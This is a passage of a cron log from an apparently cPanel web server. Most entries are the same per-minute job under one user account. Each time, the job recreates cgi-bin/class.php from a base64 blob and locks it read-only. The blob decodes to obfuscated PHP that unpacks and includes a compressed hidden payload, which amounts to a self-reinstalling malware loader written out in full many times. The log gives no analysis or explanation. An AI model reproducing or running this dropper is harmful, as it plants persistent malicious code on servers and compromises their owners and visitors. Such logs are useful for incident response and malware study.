bXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:37:01 server CROND[18512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:38:01 server CROND[18671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:39:01 server CROND[18730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:39:01 server CROND[18731]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 01:40:01 server CROND[18815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:40:01 server CROND[18814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 01:40:01 server CROND[18816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:40:01 server CROND[18817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:41:01 server CROND[18934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:42:01 server CROND[19007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 01:42:01 server CROND[19008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:43:01 server CROND[19084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:44:01 server CROND[19244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:45:01 server CROND[19335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:45:01 server CROND[19337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:45:01 server CROND[19336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:46:01 server CROND[19455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:47:01 server CROND[19541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:48:01 server CROND[19609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:49:01 server CROND[19793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:50:01 server CROND[19874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:50:01 server CROND[19875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:50:01 server CROND[19876]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 01:50:01 server CROND[19878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 